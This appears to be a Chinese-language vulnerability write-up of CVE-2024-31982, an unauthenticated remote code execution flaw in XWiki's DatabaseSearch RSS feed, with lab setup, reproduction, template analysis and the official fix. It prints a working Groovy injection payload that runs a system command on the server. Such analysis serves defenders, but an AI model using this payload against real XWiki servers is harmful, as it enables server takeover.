CVE-2024-31982 XWiki DatabaseSearch 远程代码执行漏洞

前言

XWiki是一个由Java编写的基于LGPL协议发布的开源wiki和应用平台。它提供了一个强大、灵活且易于使用的平台,用于构建、管理和分享知识。XWiki可以运行在多种Servlet容器上,如Tomcat、Jetty、JBoss、WebLogic、WebSphere等,并支持多种关系型数据库,如HSQL、MySQL等。支持创建、编辑和版本控制各类文档,并提供多语言支持,满足全球化团队的需求。平台集成了讨论、评论、投票和任务管理等功能,便于团队成员之间的沟通与协作。拥有丰富的第三方扩展库支持,能够适应各类业务需求。

XWiki 最近发现存在远程代码执行漏洞,该漏洞源于DatabaseSearch 接口代码设置不当缺陷,导致未经身份验证的远程攻击者可以执行任意Groovy代码或任意系统指令,从而获取服务器权限

影响范围

从 2.4-milestone-1到14.10.20 之前的版本

从 15.0-rc-1 到 15.5.4 之前的版本

从 15.6-rc-1 到 15.10-rc-1 之前的版本

环境搭建

这里直接使用docker搭建,官方docker环境:https://github.com/xwiki/xwiki-docker

看目录挺复杂的,其实只需要对应的版本和配置即可,例如15版本的mariadb-tomcat,只需要下面三个文件

wget https://raw.githubusercontent.com/xwiki-contrib/docker-xwiki/master/15/mariadb-tomcat/mariadb/init.sql
wget -O docker-compose.yml https://raw.githubusercontent.com/xwiki-contrib/docker-xwiki/master/15/mariadb-tomcat/docker-compose.yml
wget https://raw.githubusercontent.com/xwiki-contrib/docker-xwiki/master/15/mariadb-tomcat/.env

然后修改.env文件的XWIKI_VERSION为需要的版本号即可

# Default environment values
XWIKI_VERSION=15.5.3  
DB_USER=xwiki
DB_PASSWORD=xwiki
DB_DATABASE=xwiki
MYSQL_ROOT_PASSWORD=xwiki

下一步就是起环境

docker-compose up -d

漏洞复现

第一步,点击搜索

image-20240714215641483

输入下面内容:

}}}{{async async=false}}{{groovy}}def sout = new StringBuilder(), serr = new StringBuilder(); def proc = 'touch /tmp/pwn'.execute(); proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000); println "$sout";{{/groovy}}{{/async}}

这个payload是执行命令touch /tmp/pwn

第二步,点击搜索下方的 RSS 源链接

image-20240714220237092

这个命令已经执行了,效果如下:

image-20240714220424840

漏洞分析

XWiki 使用的是Velocity模板引擎,根据该漏洞是由于DatabaseSearch 接口代码设置不当导致的,找到了DatabaseSearch.xml

它定义了一个名为Main.DatabaseSearch的页面,即漏洞触发页面,这个页面是使用Velocity模板语言动态生成的,下面详细分析一下这个模板

image-20240714223209236

这段代码主要功能是生成一个生成搜索输入框,并使用$request.text获取当前请求中的文本值

往下

image-20240714224243021

这个是定义一个名为databaseAddResults的宏(和函数、方法类似),接受三个参数:HQL查询语句、参数映射和结果映射。其中创建一个HQL查询,添加隐藏过滤器并设置结果限制为50条。然后遍历参数映射的条目,并将它们绑定到查询中,执行查询并遍历结果,对每个文档引用进行处理。

这里还要检查当前用户是否有查看文档的权限#if ($services.security.authorization.hasAccess('view', $documentReference))

image-20240714224807763

定义一个名为databaseSearch的宏,说人话就是搜索返回结果

接下来是主要的

image-20240714230012527

设置一个变量$rssMode来判断是否处于RSS模式,这个是根据$xcontext.action或者$!request.xpage来判断的

调用databaseSearch宏执行搜索,并将结果存储在列表中 ===>#databaseSearch($text $list)

如果是RSS模式,则生成RSS feed,并创建一个文档feed

#set ($feed = $xwiki.feed.getDocumentFeed($list, {}))
#set ($feedURI = $doc.getExternalURL("view"))

获取文档的外部URL,用于feed的链接

#set ($discard = $feed.setLink($feedURI))
#set ($discard = $response.setContentType('application/rss+xml'))

设置响应的内容类型为RSS

{{{$xwiki.feed.getFeedOutput($feed, $xwiki.getXWikiPreference('feed_type', 'rss_2.0'))}}}

$xwiki.feed.getFeedOutput 是XWiki的一个方法,用于生成RSS feed的XML输出,即漏洞触发后的页面内容

image-20240714233136680

{{{...}}} 被用来直接输出 $xwiki.feed.getFeedOutput 方法的结果,这样做的目的是为了防止Velocity引擎对RSS feed的XML内容进行解析,因为XML内容需要作为原始文本输出

出现漏洞的主要原因是这里使用了三个大括号的插值语法, $xwiki.feed.getFeedOutput 函数的返回值中包含了用户可控的数据,并且这些数据中嵌入了Velocity模板代码,那么这些代码将被执行,而不是被安全地输出,这解释了payload中为什么需要开头闭合}}}

#set ($text = "$!request.text")

$text 变量从请求中获取到用户的输入,并且将这个输入设置到页面的title和RSS描述中,即xml中的 <title><description>

#set ($discard = $feed.setTitle($services.localization.render('search.rss', [$text])))
#set ($discard = $feed.setDescription($services.localization.render('search.rss', [$text])))

综上所述,模板注入

漏洞修复

官方修复

image-20240714215405467

可以看到删除了使用三个花括号的输出语句,防止直接输出可能导致注入

#set ($feedOutput = $xwiki.feed.getFeedOutput($feed, $xwiki.getXWikiPreference('feed_type', 'rss_2.0')))

将输出的xml结果保存到变量$feedOutput中,使用$response.writer.print直接将RSS feed的输出写入HTTP响应,避免了Velocity模板的进一步解析。

#set ($feedOutput = $xwiki.feed.getFeedOutput($feed, $xwiki.getXWikiPreference('feed_type', 'rss_2.0')))
#set ($discard = $response.writer.print($feedOutput))

以此方式去除了{{{...}}}的输出方式,修补漏洞